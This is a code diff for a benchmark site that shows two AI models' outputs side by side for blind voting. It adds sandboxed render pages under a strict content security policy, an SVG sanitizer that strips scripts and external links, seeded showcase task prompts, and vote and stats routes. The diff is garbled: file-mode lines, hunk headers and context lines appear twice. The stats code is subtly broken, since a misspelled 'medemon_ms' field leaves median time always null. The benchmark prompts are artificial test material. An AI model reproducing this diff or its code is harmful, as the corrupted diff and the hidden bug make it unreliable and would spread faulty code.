+ s = s.replace(/<\/?foreignObject\b[^>]*>/gi, '');
+ s = s.replace(/<\/?(?:iframe|object|embed|audio|video)\b[^>]*>/gi, '');
+ s = s.replace(/@import[^;"']*;?/gi, '');
+ s = s.replace(/\son[a-z0-9_:.-]*\s*=\s*(?:"[^"]*"|'[^']*'|[^\s>]+)/gi, '');
+ s = s.replace(/(xlink:href|href|src)\s*=\s*(["'])\s*(?:https?:)?\/\/[^"']*\2/gi, '$1="#blocked"');
+ s = s.replace(/(?:https?:)?\/\/[\w.-]+/gi, 'blocked:');
+ s = s.replace(/javascript\s*:/gi, 'blocked:');
+ return truncateBytes(s, MAX_ENTRY_BYTES);
+}
+
+/** The wall-clock a kind may run, from the kind itself. */
+function limitMsOf(kind) {
+ const ms = Number(kind && (kind.limit_ms || (kind.schema && kind.schema.limit_ms)));
+ return Number.isFinite(ms) && ms > 0 ? Math.min(ms, 300000) : DEFAULT_LIMIT_MS;
+}
+
+/** 'script' kinds run in the isolated frame; 'static' kinds are shown as an inert image. */
+function modeOf(kind) {
+ const r = kind && (kind.renderer || (kind.schema && kind.schema.renderer));
+ return r === 'static' ? 'static' : 'script';
+}
+
+function head(nonce, extra) {
+ return '<meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1">'
+ + '<meta http-equiv="Content-Security-Policy" content="' + esc(cspFor(nonce)) + '">' + (extra || '');
+}
+
+/** The import map the wrapper injects: three.js is vendored on the render origin, never fetched from a CDN. */
+function importMap() {
+ return '<script type="importmap" nonce="__NONCE__">' + JSON.stringify({ imports: { three: VENDOR.three } }) + '</script>';
+}
+
+/** The model document for a script kind: the model's own HTML, under our nonce and our CSP. */
+function modelDocument(kind, payload, opts) {
+ const nonce = (opts && opts.nonce) || crypto.randomBytes(16).toString('base64');
+ const p = payload || {};
+ let body = '';
+ if (typeof p.html === 'string' && p.html.trim()) body = p.html;
+ else if (typeof p.glsl === 'string' && p.glsl.trim()) body = glslPage(p.glsl);
+ else if (typeof p.gltf_base64 === 'string' && p.gltf_base64.trim()) body = gltfPage(p.gltf_base64);
+ else body = '<p>Nothing was generated for this entry.</p>';
+ body = truncateBytes(body, MAX_ENTRY_BYTES);
+ const doc = /<html\b/i.test(body)
+ ? body
+ : '<!doctype html><html lang="en"><head>' + head(nonce, importMap()) + '</head><body>' + body + '</body></html>';
+ return truncateBytes(applyNonce(doc, nonce), MAX_ENTRY_BYTES + 2048);
+}
+
+/** A minimal WebGL page: the model's fragment shader on a full-frame quad. */
+function glslPage(glsl) {
+ const src = String(glsl).replace(/<\/script/gi, '<\\/script');
+ return '<!doctype html><html lang="en"><head>' + head('__NONCE__', importMap())
+ + '<style>html,body{margin:0;height:100%;background:#111;overflow:hidden}canvas{display:block;width:100%;height:100%}</style></head>'
+ + '<body><canvas id="c"></canvas><script type="x-shader/x-fragment" id="fs" nonce="__NONCE__">' + src + '</script>'
+ + '<script nonce="__NONCE__">'
+ + '(function(){var c=document.getElementById("c");var gl=c.getContext("webgl");'
+ + 'if(!gl){document.body.textContent="WebGL is not available in this frame.";return;}'
+ + 'var vs="attribute vec2 p; void main(){ gl_Position = vec4(p,0.0,1.0); }";'
+ + 'var fsSrc=document.getElementById("fs").textContent;'
+ + 'function sh(t,s){var o=gl.createShader(t);gl.shaderSource(o,s);gl.compileShader(o);return o;}'
+ + 'var v=sh(gl.VERTEX_SHADER,vs),f=sh(gl.FRAGMENT_SHADER,fsSrc);var pr=gl.createProgram();'
+ + 'gl.attachShader(pr,v);gl.attachShader(pr,f);gl.linkProgram(pr);'
+ + 'if(!gl.getProgramParameter(pr,gl.LINK_STATUS)){document.body.textContent="Shader did not compile: "+gl.getShaderInfoLog(f);return;}'
+ + 'gl.useProgram(pr);var buf=gl.createBuffer();gl.bindBuffer(gl.ARRAY_BUFFER,buf);'
+ + 'gl.bufferData(gl.ARRAY_BUFFER,new Float32Array([-1,-1,3,-1,-1,3]),gl.STATIC_DRAW);'
+ + 'var loc=gl.getAttribLocation(pr,"p");gl.enableVertexAttribArray(loc);gl.vertexAttribPointer(loc,2,gl.FLOAT,false,0,0);'
+ + 'function size(){c.width=c.clientWidth*devicePixelRatio;c.height=c.clientHeight*devicePixelRatio;}'
+ + 'function frame(){gl.viewport(0,0,c.width,c.height);gl.clearColor(0,0,0,1);gl.clear(gl.COLOR_BUFFER_BIT);gl.drawArrays(gl.TRIANGLES,0,3);requestAnimationFrame(frame);}'
+ + 'addEventListener("resize",size);size();frame();})();'
+ + '</script></body></html>';
+}
+
+/** A minimal viewer page: the model's glTF (base64) in a neutral studio, with three.js from the render origin. */
+function gltfPage(b64) {
+ const data = String(b64).replace(/[^A-Za-z0-9+/=]/g, '');
+ return '<!doctype html><html lang="en"><head>' + head('__NONCE__', importMap())
+ + '<style>html,body{margin:0;height:100%;background:#e9edf2}canvas{display:block}</style></head><body>'
+ + '<script type="module" nonce="__NONCE__">'
+ + 'import * as THREE from "three";'
+ + 'const bin=atob("' + data + '");const bytes=new Uint8Array(bin.length);'
+ + 'for(let i=0;i<bin.length;i++)bytes[i]=bin.charCodeAt(i);'
+ + 'const scene=new THREE.Scene();const camera=new THREE.PerspectiveCamera(45,1,0.01,100);camera.position.set(2,2,3);'
+ + 'scene.add(new THREE.HemisphereLight(0xffffff,0x444444,1.2));'
+ + 'const key=new THREE.DirectionalLight(0xffffff,1.6);key.position.set(3,4,2);scene.add(key);'
+ + 'const fill=new THREE.DirectionalLight(0x88aaff,0.5);fill.position.set(-3,1,-2);scene.add(fill);'
+ + 'const renderer=new THREE.WebGLRenderer({antialias:true});document.body.appendChild(renderer.domElement);'
+ + 'function size(){const w=innerWidth,h=innerHeight;renderer.setSize(w,h);camera.aspect=w/h;camera.updateProjectionMatrix();}'
+ + 'addEventListener("resize",size);size();'
+ + 'const loader=new THREE.GLTFLoader();'
+ + 'loader.parse(bytes.buffer,"",(g)=>{scene.add(g.scene);window.__bench={rendered:true};});'
+ + 'let t=0;(function loop(){t+=0.01;scene.rotation.y=t;renderer.render(scene,camera);requestAnimationFrame(loop);})();'
+ + '</script></body></html>';
+}
+
+/**
+ * The trusted wrapper: our page, our clock, our stop button. The model output lives in the child frame, and the
+ * wrapper never hands the child anything but the clock.
+ */
+function wrapperDocument(opts) {
+ const entryId = (opts && opts.entryId) || '';
+ const kindId = (opts && opts.kindId) || '';
+ const limitMs = (opts && opts.limitMs) || DEFAULT_LIMIT_MS;
+ const title = (opts && opts.title) || 'Generated output';
+ const secs = Math.max(1, Math.round(limitMs / 1000));
+ return '<!doctype html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1">'
+ + '<meta http-equiv="Content-Security-Policy" content="' + WRAPPER_CSP + '">'
+ + '<style>html,body{margin:0;height:100%;font:14px/1.4 system-ui,sans-serif;background:#0f1115;color:#e9edf2}'
+ + '.bar{display:flex;gap:.5rem;align-items:center;justify-content:space-between;padding:.35rem .6rem;background:#171a21;border-bottom:1px solid #262b36}'
+ + '.bar b{font-weight:600}.clock{font-variant-numeric:tabular-nums;color:#9fb0c8}'
+ + 'button{font:inherit;background:#262b36;color:#e9edf2;border:1px solid #39414f;border-radius:6px;padding:.25rem .6rem;cursor:pointer}'
+ + 'iframe{width:100%;height:calc(100% - 40px);border:0;background:#fff}'
+ + '.stopped{display:none;padding:1rem;color:#9fb0c8}</style></head>'
+ + '<body data-entry-id="' + esc(entryId) + '" data-kind-id="' + esc(kindId) + '" data-limit-ms="' + limitMs + '">'
+ + '<div class="bar"><b>' + esc(title) + '</b><span><span class="clock" id="clock">' + secs + 's</span> '
+ + '<button type="button" id="stop">Stop</button></span></div>'
+ + '<iframe id="frame" title="' + esc(title) + '" sandbox="' + SANDBOX + '" referrerpolicy="no-referrer" loading="lazy" src="/render/e/' + encodeURIComponent(entryId) + '"></iframe>'
+ + '<div class="stopped" id="stopped">The entry stopped after ' + secs + ' seconds.</div>'
+ + '<script>(function(){var frame=document.getElementById("frame");var clock=document.getElementById("clock");'
+ + 'var stopped=document.getElementById("stopped");var left=' + secs + ';'
+ + 'function stop(){frame.src="about:blank";frame.style.display="none";stopped.style.display="block";clock.textContent="0s";}'
+ + 'document.getElementById("stop").addEventListener("click",stop);'
+ + 'var timer=setInterval(function(){left-=1;clock.textContent=left>0?left+"s":"0s";if(left<=0){clearInterval(timer);stop();}},1000);'
+ + 'addEventListener("message",function(e){if(e&&e.data==="bench:stop")stop();});})();</script></body></html>';
+}
+
+module.exports = {
+ RENDER_ORIGIN, PINNED_ORIGINS, VENDOR, SANDBOX, DEFAULT_LIMIT_MS, MAX_ENTRY_BYTES,
+ cspFor, applyNonce, sanitizeSvg, limitMsOf, modeOf, modelDocument, wrapperDocument,
+};
new file mode 100644
new file mode 100644
@@ -0,0 +1,39 @@
@@ -0,0 +1,39 @@
+'use strict';
+
+/**
+ * The showcase task prompts (spec 3). Ten of the forty are seeded here, across nine kinds, so the gallery has real
+ * pairs to show on day one. Every prompt states the sandbox rules, because "no network" is the rule models break.
+ */
+
+const SHOWCASE_TASKS = Object.freeze([
+ { kind: 'games.play', task_class: 'arcade', prompt: 'Build a one-screen arcade game: a paddle at the bottom, bricks at the top, ball, score, and a game-over state. Arrow keys or mouse to move. Show the score in the top left. No images, no external libraries, no network. Canvas only, under 200 KB.' },
+ { kind: 'games.play', task_class: 'arcade', prompt: 'Build a one-screen snake game on a 20x20 grid. Arrow keys steer, the snake grows on food, the walls kill, and the score is the food eaten. Show the score and the high score. Canvas only, no external libraries, no network.' },
+ { kind: 'games.three', task_class: 'scene', prompt: 'Build a three.js scene of a slow-rotating low-poly tree on a flat ground plane, lit by one warm key light and one cool fill, with soft shadows. The scene must be visible within three seconds and animate on its own. Import three.js from the pinned URL given in the sandbox notice. No network access otherwise.' },
+ { kind: 'games.three', task_class: 'scene', prompt: 'Build a three.js scene of 200 instanced cubes falling and bouncing on a plane, in three colours. It must animate smoothly and the camera should stay fixed. No network.' },
+ { kind: 'design.svg', task_class: 'illustration', prompt: 'Draw a single SVG icon set of six 24x24 line icons (search, settings, bell, user, download, close) with consistent stroke width and rounded caps, drawn as pure SVG. No script, no external references, no raster images.' },
+ { kind: 'design.svg', task_class: 'illustration', prompt: 'Draw a single flat SVG illustration of a city skyline at dusk, as a poster: gradient sky, sun, layered buildings, birds, and room for a title block at the bottom. Pure SVG, no external references.' },
+ { kind: 'design.motion', task_class: 'motion', prompt: 'Build a single HTML page with a pure CSS animated loading state: three pulsing bars, a shimmer sweep across a card, and a rotating ring. Loop for at least 10 seconds, then freeze on a final frame. No JavaScript required, no network.' },
+ { kind: 'design.ui', task_class: 'dashboard', prompt: 'Design a full-page dark analytics dashboard: left icon sidebar, top bar with a date-range picker and a search field, four KPI cards, one wide line chart, one bar chart, and a table of recent events. Real labels, no lorem ipsum. Inline CSS only, no network, no icon fonts, no charts from a CDN.' },
+ { kind: 'design.dataviz', task_class: 'chart', prompt: 'Build a one-screen chart from this data, inline in the script: monthly revenue for 12 months, one series, plus a 3-month moving average. Label both axes with units, mark the highest month, and add a tooltip on hover. No chart library, no network.' },
+ { kind: 'design.interface', task_class: 'components', prompt: 'Build a consistent set of five related components on one page: a button in four variants, an input with a label and a validation error, a toast, a modal, and a badge. One spacing scale, one type scale, one radius rule, one colour set. Inline CSS only, no network.' },
+]);
+
+/**
+ * Seed the tasks once. A task that already exists (same kind, same prompt) is left alone, so a restart never makes a
+ * second copy of the same prompt.
+ */
+async function seedShowcaseTasks(s, bench, opts) {
+ const subject = (opts && opts.subject) || 'showcase:seed';
+ const made = [];
+ for (const t of SHOWCASE_TASKS) {
+ const existing = await s.db.maybe(
+ 'SELECT id FROM bench_tasks WHERE kind_id = $1 AND prompt = $2 LIMIT 1',
+ [t.kind, t.prompt]);
+ if (existing) continue;
+ const out = await bench.createTask({ kindId: t.kind, prompt: t.prompt, taskClass: t.task_class, public: true, subject });
+ if (out && out.ok) made.push(out.task);
+ }
+ return made;
+}
+
+module.exports = { SHOWCASE_TASKS, seedShowcaseTasks };
@@ -51,7 +51,7 @@ function createDiscoveryRoutes(ctx) {
@@ -51,7 +51,7 @@ function createDiscoveryRoutes(ctx) {
res.type('text/plain').set('Cache-Control', TEXT).send(seo.llmsTxt({
res.type('text/plain').set('Cache-Control', TEXT).send(seo.llmsTxt({
name: SITE_NAME,
name: SITE_NAME,
summary: DESCRIPTION,
summary: DESCRIPTION,
- details: 'GET /api/v1/kinds lists the fifteen benchmark kinds. GET /api/v1/boards/:kind?type=elo|pareto|cost renders a board as JSON. GET /api/v1/datasets/:kind.jsonl is the open dataset without voter ids. POST /mcp is the Model Context Protocol endpoint.',
+ details: 'GET /api/v1/kinds lists the benchmark kinds. GET /api/v1/boards/:kind?type=elo|pareto|cost renders a board as JSON. GET /api/v1/datasets/:kind.jsonl is the open dataset without voter ids. POST /mcp is the Model Context Protocol endpoint.',
sections: [
sections: [
{ title: 'Start here', links: [{ title: SITE_NAME, url: abs('/') }, { title: 'The API', url: abs('/docs') }] },
{ title: 'Start here', links: [{ title: SITE_NAME, url: abs('/') }, { title: 'The API', url: abs('/docs') }] },
{ title: 'Machine-readable', links: [{ title: 'Kinds (JSON)', url: abs('/api/v1/kinds') }, { title: 'Sitemap', url: abs('/sitemap.xml') }, { title: 'Release metadata (JSON)', url: abs('/release.json') }] },
{ title: 'Machine-readable', links: [{ title: 'Kinds (JSON)', url: abs('/api/v1/kinds') }, { title: 'Sitemap', url: abs('/sitemap.xml') }, { title: 'Release metadata (JSON)', url: abs('/release.json') }] },
new file mode 100644
new file mode 100644
@@ -0,0 +1,74 @@
@@ -0,0 +1,74 @@
+'use strict';
+
+/**
+ * The render origin's routes (spec 2). The model output is served from its own path, on its own origin, with no
+ * cookies and no session: /render/w/:entryId is the trusted wrapper (clock and stop button), /render/e/:entryId is the
+ * model's own document under the strict CSP.
+ */
+
+const express = require('express');
+const crypto = require('crypto');
+const renderLib = require('../bench/render');
+const { kindById } = require('../kinds');
+
+function createRenderRoutes(ctx) {
+ const r = express.Router();
+
+ async function entryOf(id) {
+ const row = await ctx.s.db.maybe(
+ 'SELECT e.id, e.payload, e.error, r.kind_id FROM bench_entries e JOIN bench_rounds r ON r.id = e.round_id WHERE e.id = $1',
+ [String(id || '')]);
+ if (!row) return null;
+ let payload = row.payload;
+ if (typeof payload === 'string') { try { payload = JSON.parse(payload); } catch { payload = {}; } }
+ return { id: row.id, payload: payload || {}, error: row.error || null, kind: kindById(row.kind_id) };
+ }
+
+ /** No cookies on this origin, ever. */
+ function bare(res) {
+ res.removeHeader('Set-Cookie');
+ res.set('Cache-Control', 'no-store');
+ res.set('X-Content-Type-Options', 'nosniff');
+ res.set('Referrer-Policy', 'no-referrer');
+ return res;
+ }
+
+ r.get('/w/:entryId', async (req, res) => {
+ const entry = await entryOf(req.params.entryId);
+ if (!entry) return bare(res).status(404).type('text/plain').send('No such entry.');
+ const kind = entry.kind;
+ const doc = renderLib.wrapperDocument({
+ entryId: entry.id,
+ kindId: kind ? kind.id : '',
+ limitMs: renderLib.limitMsOf(kind),
+ title: kind ? kind.name : 'Generated output',
+ });
+ return bare(res)
+ .set('Content-Security-Policy', renderLib.cspFor(crypto.randomBytes(16).toString('base64')).replace(/script-src [^;]*/, "script-src 'self'"))
+ .type('html')
+ .send(doc);
+ });
+
+ r.get('/e/:entryId', async (req, res) => {
+ const entry = await entryOf(req.params.entryId);
+ if (!entry) return bare(res).status(404).type('text/plain').send('No such entry.');
+ const kind = entry.kind;
+ const nonce = crypto.randomBytes(16).toString('base64');
+ if (kind && renderLib.modeOf(kind) === 'static') {
+ const svg = renderLib.sanitizeSvg(entry.payload && entry.payload.svg ? entry.payload.svg : (entry.payload && entry.payload.html) || '');
+ return bare(res)
+ .set('Content-Security-Policy', "default-src 'none'; style-src 'unsafe-inline'; img-src data:; sandbox")
+ .type('image/svg+xml')
+ .send(svg);
+ }
+ const doc = renderLib.modelDocument(kind, entry.payload, { nonce });
+ return bare(res)
+ .set('Content-Security-Policy', renderLib.cspFor(nonce))
+ .type('html')
+ .send(doc);
+ });
+
+ return r;
+}
+
+module.exports = { createRenderRoutes };
new file mode 100644
new file mode 100644
@@ -0,0 +1,358 @@
@@ -0,0 +1,358 @@
+'use strict';
+
+/**
+ * The showcase surfaces (spec 4 and 5): the gallery of pairs, the live side-by-side compare page, the blind vote and
+ * the stats endpoint. The API and the pages read the same data, so a page never promises something the API does
+ * not answer. Blindness is the rule: a voter sees two numbered panes (A and B) and no model name until they vote.
+ */
+
+const express = require('express');
+const { http } = require('openvibe-contracts');
+const { asyncRouter } = require('./router');
+const { sameOrigin } = require('./same-origin');
+const renderLib = require('../bench/render');
+const { kindById, SHOWCASE_KIND_IDS } = require('../kinds');
+const { esc, raw } = require('../render/html');
+const { send } = require('../render/layout');
+
+
+const num = (v, d) => (v == null || Number.isNaN(Number(v)) ? d : Number(v));
+
+function slotsOf(entries, revealed, kind) {
+ return entries.slice(0, 2).map((e, i) => {
+ const base = {
+ slot: i === 0 ? 'A' : 'B',
+ entry_id: e.id,
+ render_url: '/render/e/' + encodeURIComponent(e.id),
+ wrapper_url: '/render/w/' + encodeURIComponent(e.id),
+ limit_ms: kind ? renderLib.limitMsOf(kind) : renderLib.DEFAULT_LIMIT_MS,
+ error: e.error || null,
+ };
+ if (!revealed) return base;
+ return Object.assign({}, base, {
+ model: e.model, provider: e.provider, route: e.route || null,
+ cost_usd: num(e.cost_usd), ms: num(e.ms), tokens: num(e.tokens),
+ });
+ });
+}
+
+async function entriesOf(db, roundId) {
+ return await db.many(
+ "SELECT id, provider, model, route, cost_usd, ms, tokens, error FROM bench_entries WHERE round_id = $1 AND error IS NULL ORDER BY id LIMIT 2",
+ [roundId]);
+}
+
+async function voteCount(db, roundId) {
+ return num(await db.value(
+ "SELECT COUNT(*)::int AS n FROM bench_judgements WHERE round_id = $1 AND method = 'human_pairwise'",
+ [roundId]));
+}
+
+async function loadPairs(ctx, opts) {
+ const db = ctx.s.db;
+ const kind = opts && opts.kind ? String(opts.kind) : 'all';
+ const kinds = kind && kind !== 'all' ? [kind] : SHOWCASE_KIND_IDS;
+ const limit = Math.min(100, Math.max(1, num(opts && opts.limit, 24)));
+ const rows = await db.many(
+ "SELECT r.id, r.kind_id, r.created_at, r.created_by, t.prompt, t.task_class FROM bench_rounds r JOIN bench_tasks t ON t.id = r.task_id WHERE r.status = 'finished' AND r.kind_id = ANY($1::text[]) ORDER BY r.created_at DESC, r.id LIMIT $2",
+ [kinds, limit]);
+ const out = [];
+ for (const r of rows) {
+ const entries = await entriesOf(db, r.id);
+ if (entries.length < 2) continue;
+ const k = kindById(r.kind_id);
+ out.push({
+ id: r.id, kind_id: r.kind_id, kind_name: k ? k.name : r.kind_id,
+ prompt: r.prompt, task_class: r.task_class, created_at: r.created_at,
+ votes: await voteCount(db, r.id), slots: slotsOf(entries, false, k),
+ });
+ }
+ return out;
+}
+
+async function loadRound(ctx, id, subject) {
+ const db = ctx.s.db;
+ const r = await db.maybe(
+ "SELECT r.*, t.prompt, t.task_class FROM bench_rounds r JOIN bench_tasks t ON t.id = r.task_id WHERE r.id = $1",
+ [String(id || '')]);
+ if (!r) return null;
+ const entries = await entriesOf(db, r.id);
+ if (entries.length < 2) {
+ return { id: r.id, kind_id: r.kind_id, kind_name: r.kind_id, prompt: r.prompt, task_class: r.task_class, created_at: r.created_at, votes: 0, voted: false, revealed: false, ready: false, mode: 'script', limit_ms: renderLib.DEFAULT_LIMIT_MS, is_game: r.kind_id === 'games.play', slots: [] };
+ }
+ const voted = subject
+ ? num(await db.value("SELECT COUNT(*)::int AS n FROM bench_judgements WHERE round_id = $1 AND subject = $2", [r.id, subject])) > 0
+ : false;
+ const revealed = Boolean(voted || (subject && r.created_by === subject));
+ const k = kindById(r.kind_id);
+ return {
+ id: r.id, kind_id: r.kind_id, kind_name: k ? k.name : r.kind_id,
+ prompt: r.prompt, task_class: r.task_class, created_at: r.created_at,
+ votes: await voteCount(db, r.id), voted, revealed, ready: true,
+ mode: k ? renderLib.modeOf(k) : 'script',
+ limit_ms: k ? renderLib.limitMsOf(k) : renderLib.DEFAULT_LIMIT_MS,
+ is_game: r.kind_id === 'games.play',
+ slots: slotsOf(entries, revealed, k),
+ };
+}
+
+async function loadStats(ctx) {
+ const db = ctx.s.db;
+ const ratings = await db.many(
+ "SELECT kind_id, category, subject, elo, games, wins, losses, ties, win_rate, ci_lower, ci_upper, median_cost_usd, median_ms FROM bench_ratings WHERE category = 'all' ORDER BY kind_id, elo DESC");
+ const costs = await db.many(
+ "SELECT r.kind_id AS kind_id, e.model AS model, COUNT(*)::int AS entries,"
+ + " COALESCE(SUM(e.cost_usd), 0)::numeric AS total_cost,"
+ + " percentile_cont(0.5) WITHIN GROUP (ORDER BY e.cost_usd) AS median_cost,"
+ + " percentile_cont(0.5) WITHIN GROUP (ORDER BY e.ms) AS median_ms,"
+ + " percentile_cont(0.95) WITHIN GROUP (ORDER BY e.ms) AS p95_ms,"
+ + " COALESCE(SUM(e.tokens), 0)::int AS tokens,"
+ + " COUNT(*) FILTER (WHERE e.error IS NOT NULL)::int AS errors"
+ + " FROM bench_entries e JOIN bench_rounds r ON r.id = e.round_id"
+ + " WHERE r.kind_id = ANY($1::text[]) AND e.model IS NOT NULL"
+ + " GROUP BY r.kind_id, e.model",
+ [SHOWCASE_KIND_IDS]);
+ const byKey = new Map();
+ for (const c of costs) byKey.set(c.kind_id + '|' + c.model, c);
+ const kinds = new Map();
+ for (const r of ratings) {
+ if (!SHOWCASE_KIND_IDS.includes(r.kind_id)) continue;
+ const c = byKey.get(r.kind_id + '|' + r.subject) || {};
+ const entries = num(c.entries);
+ const totalCost = num(c.total_cost);
+ const row = {
+ kind_id: r.kind_id, model: r.subject, elo: num(r.elo, 1000),
+ elo_ci_lower: r.ci_lower == null ? null : num(r.ci_lower),
+ elo_ci_upper: r.ci_upper == null ? null : num(r.ci_upper),
+ games: num(r.games), wins: num(r.wins), losses: num(r.losses), ties: num(r.ties),
+ win_rate: num(r.win_rate), provisional: num(r.games) < 10, entries,
+ total_cost_usd: Math.round(totalCost * 1e6) / 1e6,
+ cost_per_entry_usd: entries ? Math.round((totalCost / entries) * 1e6) / 1e6 : null,
+ median_cost_usd: c.median_cost == null ? null : num(c.median_cost),
+ median_ms: c.medemon_ms == null ? null : num(c.median_ms),
+ p95_ms: c.p95_ms == null ? null : num(c.p95_ms),
+ tokens_per_entry: entries ? Math.round(num(c.tokens) / entries) : 0,
+ error_rate: entries ? num(c.errors) / entries : 0,
+ };
+ if (!kinds.has(r.kind_id)) kinds.set(r.kind_id, []);
+ kinds.get(r.kind_id).push(row);
+ }
+ return { kinds: [...kinds.entries()].map(([id, rows]) => ({ kind_id: id, rows })), generated_at: new Date().toISOString() };
+}
+
+function pane(slot, revealed) {
+ const frame = '<iframe class="sc-pane-frame" src="' + esc(slot.wrapper_url) + '" title="Output ' + esc(slot.slot) + '"'
+ + ' sandbox="' + esc(renderLib.SANDBOX) + '" referrerpolicy="no-referrer" loading="lazy" data-entry-id="' + esc(slot.entry_id) + '"></iframe>';
+ const facts = revealed
+ ? '<dl class="sc-pane-facts" data-facts="' + esc(slot.slot) + '">'
+ + '<div><dt>Model</dt><dd>' + esc(slot.model) + '</dd></div>'
+ + '<div><dt>Provider</dt><dd>' + esc(slot.provider) + '</dd></div>'
+ + '<div><dt>Cost</dt><dd>$' + esc(slot.cost_usd) + '</dd></div>'
+ + '<div><dt>Time</dt><dd>' + esc(slot.ms) + ' ms</dd></div>'
+ + '<div><dt>Tokens</dt><dd>' + esc(slot.tokens) + '</dd></div>'
+ + '</dl>'
+ : '';
+ return '<figure class="sc-pane" data-slot="' + esc(slot.slot) + '" data-entry-id="' + esc(slot.entry_id) + '" data-limit-ms="' + esc(slot.limit_ms) + '">'
+ + '<figcaption><span class="sc-pane-label">Pane ' + esc(slot.slot) + '</span>'
+ + '<span class="sc-pane-clock" data-clock="' + esc(slot.slot) + '">' + esc(Math.round(slot.limit_ms / 1000)) + 's</span></figcaption>'
+ + frame + facts + '</figure>';
+}
+
+function voteForm(round, signedIn) {
+ if (round.revealed) {
+ return '<section class="sc-vote sc-vote-done" data-vote-state="revealed">'
+ + '<p>Thanks: the identities are open now.</p>'
+ + '<p><a href="/showcase/round/' + esc(round.id) + '?share=1">Share this pair</a></p></section>';
+ }
+ if (!signedIn) {
+ return '<section class="sc-vote" data-vote-state="signed-out">'
+ + '<p><a href="/auth/login?next=' + encodeURIComponent('/showcase/round/' + round.id) + '">Sign in to vote</a></p></section>';
+ }
+ const game = round.is_game
+ ? '<fieldset class="sc-vote-more"><legend>More fun</legend>'
+ + '<label><input type="radio" name="more_fun" value="A"> Pane A</label>'
+ + '<label><input type="radio" name="more_fun" value="B"> Pane B</label>'
+ + '<label><input type="radio" name="more_fun" value="tie"> Same</label></fieldset>'
+ + '<label class="sc-vote-check"><input type="checkbox" name="crashed" value="1"> One of them crashed</label>'
+ : '';
+ return '<form class="sc-vote" method="post" action="/showcase/round/' + esc(round.id) + '" data-vote-form="1">'
+ + '<fieldset><legend>Which one wins?</legend>'
+ + '<label><input type="radio" name="outcome" value="A" required> Pane A</label>'
+ + '<label><input type="radio" name="outcome" value="B"> Pane B</label>'
+ + '<label><input type="radio" name="outcome" value="tie"> Same</label>'
+ + '<label><input type="radio" name="outcome" value="both_bad"> Both bad</label>'
+ + '</fieldset>' + game
+ + '<button type="submit">Cast the vote</button></form>';
+}
+
+function galleryView(pairs) {
+ const cards = pairs.map((p) => '<article class="sc-pair" data-round-id="' + esc(p.id) + '" data-kind="' + esc(p.kind_id) + '" data-votes="' + esc(p.votes) + '">'
+ + '<h2 class="sc-pair-prompt" data-prompt="1">' + esc(p.prompt) + '</h2>'
+ + '<div class="sc-pair-slots">' + p.slots.map((s) => pane(s, false)).join('') + '</div>'
+ + '<p class="sc-pair-meta"><span class="sc-kind">' + esc(p.kind_name) + '</span>'
+ + '<span class="sc-votes" data-votes="' + esc(p.votes) + '">' + esc(p.votes) + ' votes</span>'
+ + '<a class="sc-pair-link" href="/showcase/round/' + esc(p.id) + '">Compare side by side</a></p></article>');
+ return '<section class="sc-showcase" data-showcase="pairs">'
+ + '<h1>Showcase: two models, the same prompt, side by side</h1>'
+ + '<p class="sc-lede">Every pair is one prompt, run on two models. The frames are live and sandboxed: no network, no cookies, and a clock.</p>'
+ + (cards.length
+ ? '<div class="sc-pairs">' + cards.join('') + '</div>'
+ : '<p class="sc-empty">No pairs yet. The first rounds are still generating.</p>')
+ + '</section>';
+}
+
+function roundView(round, signedIn) {
+ const panes = round.slots.map((s) => pane(s, round.revealed)).join('');
+ return '<section class="sc-showcase sc-round" data-showcase="round" data-round-id="' + esc(round.id) + '" data-kind="' + esc(round.kind_id) + '">'
+ + '<h1 class="sc-round-prompt" data-prompt="1">' + esc(round.prompt) + '</h1>'
+ + '<p class="sc-round-meta"><span class="sc-kind">' + esc(round.kind_name) + '</span>'
+ + '<span class="sc-votes" data-votes="' + esc(round.votes) + '">' + esc(round.votes) + ' votes</span></p>'
+ + '<div class="sc-round-panes" data-panes="2">' + panes + '</div>'
+ + voteForm(round, signedIn)
+ + '</section>';
+}
+
+function createShowcaseRoutes(ctx) {
+ const r = asyncRouter();
+ const { config, bench, principal } = ctx;
+ r.use(express.json({ limit: '64kb' }));
+ r.use(principal.middleware);
+ const problem = (res, status, code, detail) => http.sendProblem(res, status, code, { detail, ctx: res.req && res.req.ov });
+ const subjectOf = (req) => (req.principal && req.principal.kind === 'user' ? req.principal.subject : null);
+
+ r.get('/pairs', async (req, res) => {
+ try {
+ const pairs = await loadPairs(ctx, { kind: req.query.kind, limit: req.query.limit });
+ res.set('Cache-Control', 'public, max-age=30');
+ return res.json({ count: pairs.length, pairs });
+ } catch (err) {
+ ctx.log.warn('[OpenVibe.Bench] showcase pairs failed:', (err && err.message) || err);
+ return problem(res, 500, 'internal.error', 'Bench could not answer. Try again in a moment.');
+ }
+ });
+
+ r.get('/rounds/:id', async (req, res) => {
+ try {
+ const round = await loadRound(ctx, String(req.params.id || ''), subjectOf(req));
+ if (!round) return problem(res, 404, 'bench.round_not_found', 'No such round.');
+ res.set('Cache-Control', round.revealed ? 'public, max-age=30' : 'private, no-store');
+ return res.json({ round });
+ } catch (err) {
+ ctx.log.warn('[OpenVibe.Bench] showcase round failed:', (err && err.message) || err);
+ return problem(res, 500, 'internal.error', 'Bench could not answer. Try again in a moment.');
+ }
+ });
+
+ r.post('/rounds/:id/vote', async (req, res) => {
+ const b = req.body && typeof req.body === 'object' ? req.body : {};
+ const subject = subjectOf(req);
+ if (!subject) return problem(res, 401, 'bench.sign_in_required', 'Sign in at bench.openvibe.services to vote.');
+ if (req.principal.viaSession && !sameOrigin(req, config)) {
+ return problem(res, 403, 'bench.cross_site', 'A signed-in request that changes something must come from bench.openvibe.services itself.');
+ }
+ const map = { A: 'left', B: 'right', tie: 'tie', both_bad: 'both_bad' };
+ const outcome = map[String(b.outcome || '')];
+ if (!outcome) return problem(res, 422, 'bench.invalid_outcome', 'The outcome must be A, B, tie or both_bad.');
+ const round = await loadRound(ctx, String(req.params.id || ''), null);
+ if (!round || !round.ready) return problem(res, 404, 'bench.round_not_found', 'No such round.');
+ try {
+ const out = await bench.castJudgement({
+ roundId: round.id,
+ judge: 'human_pairwise',
+ pair: { left: round.slots[0].entry_id, right: round.slots[1].entry_id },
+ outcome,
+ subject,
+ });
+ if (round.is_game && (b.more_fun || b.crashed)) {
+ const moreFun = b.more_fun === 'A' ? 1 : b.more_fun === 'B' ? -1 : 0;
+ await bench.castJudgement({
+ roundId: round.id,
+ judge: 'rubric',
+ judgeName: b.crashed ? 'crashed' : 'more_fun',
